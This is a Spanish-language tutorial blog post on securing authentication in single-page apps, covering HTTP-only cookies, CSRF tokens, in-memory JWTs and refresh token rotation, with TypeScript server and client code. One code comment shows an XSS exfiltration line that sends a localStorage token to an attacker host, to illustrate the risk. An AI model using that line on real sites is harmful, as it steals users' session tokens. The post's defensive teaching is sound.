Saltar al contenido

Patrones de autenticación para aplicaciones de una sola página

Tokens, cookies, flujos de refresco y gestión de sesiones: los patrones de autenticación que mantienen las SPA seguras sin sacrificar la experiencia de usuario.

4 min de lectura
Diagrama de flujo de autenticación que muestra el intercambio de tokens entre el cliente SPA y el servidor API

La autenticación en aplicaciones de una sola página es más difícil de lo que parece. El navegador es un entorno hostil: se puede inyectar JavaScript, los tokens pueden robarse del almacenamiento y los ataques CSRF aprovechan las sesiones basadas en cookies. Elegir el patrón equivocado crea agujeros de seguridad que son invisibles hasta que alguien los explota.

Los dos enfoques principales

Las SPA se autentican mediante sesiones basadas en cookies o autenticación basada en tokens. Cada enfoque tiene características de seguridad distintas.

EnfoqueAlmacenamientoRiesgo de CSRFRiesgo de XSSFunciona cross-origin
Cookies HTTP-onlyGestionado por el navegadorSí (mitigable)BajoNo (mismo origen)
JWT en memoriaVariable de JavaScriptNoSí (si se almacena mal)Sí
JWT en localStoragelocalStorageNoAltoSí
tstypescript
// ❌ JWT in localStorage — any XSS attack steals the token
localStorage.setItem("token", jwt);
 
// Any injected script can do:
// fetch("https://attacker.com/steal?token=" + localStorage.getItem("token"))
 
// ✅ HTTP-only cookie — JavaScript cannot access it
// Set by the server:
// Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/

Las cookies HTTP-only son la opción más segura por defecto para SPA de mismo origen. Los tokens en memoria (no en localStorage) son apropiados para configuraciones cross-origin.

Autenticación basada en cookies

El servidor establece una cookie HTTP-only después de un inicio de sesión exitoso. El navegador la envía automáticamente con cada petición.

tstypescript
// Server: login endpoint
app.post("/api/auth/login", async (req, res) => {
  const { email, password } = req.body;
  const user = await verifyCredentials(email, password);
 
  if (!user) {
    return res.status(401).json({ error: "Invalid credentials" });
  }
 
  const sessionId = await createSession(user.id);
 
  res.cookie("session", sessionId, {
    httpOnly: true,     // Not accessible via JavaScript
    secure: true,       // Only sent over HTTPS
    sameSite: "strict", // No cross-origin requests
    maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
    path: "/",
  });
 
  res.json({ user: { id: user.id, name: user.name } });
});
tstypescript
// Server: session middleware
async function sessionMiddleware(req: Request, res: Response, next: NextFunction) {
  const sessionId = req.cookies.session;
  if (!sessionId) return res.status(401).json({ error: "Not authenticated" });
 
  const session = await getSession(sessionId);
  if (!session || session.expiresAt < new Date()) {
    res.clearCookie("session");
    return res.status(401).json({ error: "Session expired" });
  }
 
  req.userId = session.userId;
  next();
}

Protección CSRF

Las cookies se envían automáticamente, lo que significa que un sitio malicioso puede desencadenar peticiones autenticadas. El atributo SameSite=Strict previene la mayoría de los ataques CSRF. Para protección adicional, usa un token CSRF.

tstypescript
// Server: generate CSRF token for the session
app.get("/api/auth/csrf-token", sessionMiddleware, (req, res) => {
  const csrfToken = generateSecureToken();
  req.session.csrfToken = csrfToken;
  res.json({ csrfToken });
});
 
// Server: verify CSRF token on state-changing requests
function csrfMiddleware(req: Request, res: Response, next: NextFunction) {
  if (["GET", "HEAD", "OPTIONS"].includes(req.method)) return next();
 
  const token = req.headers["x-csrf-token"];
  if (token !== req.session.csrfToken) {
    return res.status(403).json({ error: "Invalid CSRF token" });
  }
  next();
}

Autenticación basada en tokens

Cuando la API y la SPA están en orígenes diferentes, las cookies no funcionan de forma fluida. Los tokens almacenados en memoria JavaScript (no en localStorage) son la alternativa más segura.

tstypescript
// Client: store token in memory, not localStorage
let accessToken: string | null = null;
let refreshToken: string | null = null;
 
async function login(email: string, password: string) {
  const res = await fetch("/api/auth/login", {
    method: "POST",
    headers: { "Content-Type": "application/json" },
    body: JSON.stringify({ email, password }),
  });
 
  const data = await res.json();
  accessToken = data.accessToken;   // Short-lived: 15 minutes
  refreshToken = data.refreshToken; // Longer-lived: 7 days
}
 
// Attach token to every request
async function authenticatedFetch(url: string, options: RequestInit = {}) {
  if (!accessToken) throw new Error("Not authenticated");
 
  const res = await fetch(url, {
    ...options,
    headers: {
      ...options.headers,
      Authorization: `Bearer ${accessToken}`,
    },
  });
 
  if (res.status === 401) {
    await refreshAccessToken();
    return authenticatedFetch(url, options); // Retry with new token
  }
 
  return res;
}

Flujo de refresh token

Los access tokens de corta duración limitan la ventana de daño si un token es robado. Los refresh tokens emiten nuevos access tokens sin requerir un nuevo inicio de sesión.

tstypescript
// Server: refresh endpoint
app.post("/api/auth/refresh", async (req, res) => {
  const { refreshToken } = req.body;
 
  const payload = verifyRefreshToken(refreshToken);
  if (!payload) return res.status(401).json({ error: "Invalid refresh token" });
 
  // Rotate refresh token — one-time use
  await revokeRefreshToken(refreshToken);
 
  const newAccessToken = signAccessToken({ userId: payload.userId }, "15m");
  const newRefreshToken = signRefreshToken({ userId: payload.userId }, "7d");
 
  await storeRefreshToken(newRefreshToken, payload.userId);
 
  res.json({ accessToken: newAccessToken, refreshToken: newRefreshToken });
});

La rotación de refresh tokens es crítica: cada refresh token es de un solo uso. Si un atacante roba uno y tanto el atacante como el usuario intentan usarlo, el servidor detecta la reutilización y revoca toda la sesión.

Cierre de sesión e invalidación de sesiones

tstypescript
// Server-side: revoke the session
app.post("/api/auth/logout", sessionMiddleware, async (req, res) => {
  await deleteSession(req.sessionId);
  res.clearCookie("session");
  res.json({ success: true });
});
 
// Client-side: clear in-memory tokens
function logout() {
  accessToken = null;
  refreshToken = null;
  window.location.href = "/login";
}

Invalida siempre las sesiones del lado del servidor. Limpiar la cookie o el token del lado del cliente no es suficiente: el ID de sesión o el token antiguo podría seguir siendo válido.

Puntos clave

  1. Las cookies HTTP-only son la opción más segura por defecto para SPA de mismo origen: JavaScript no puede acceder a ellas
  2. Nunca almacenes tokens en localStorage: cualquier vulnerabilidad XSS se convierte en un secuestro completo de la cuenta
  3. Usa access tokens de corta duración (15 min) con rotación de refresh tokens para autenticación basada en tokens
  4. SameSite=Strict previene la mayoría de los ataques CSRF sin tokens adicionales
  5. Invalida siempre las sesiones del lado del servidor al cerrar sesión: la limpieza del lado del cliente no es suficiente
Wilfredo Rujel

Wilfredo Rujel

Ingeniero de Software Full Stack

Compartir esta publicaciónX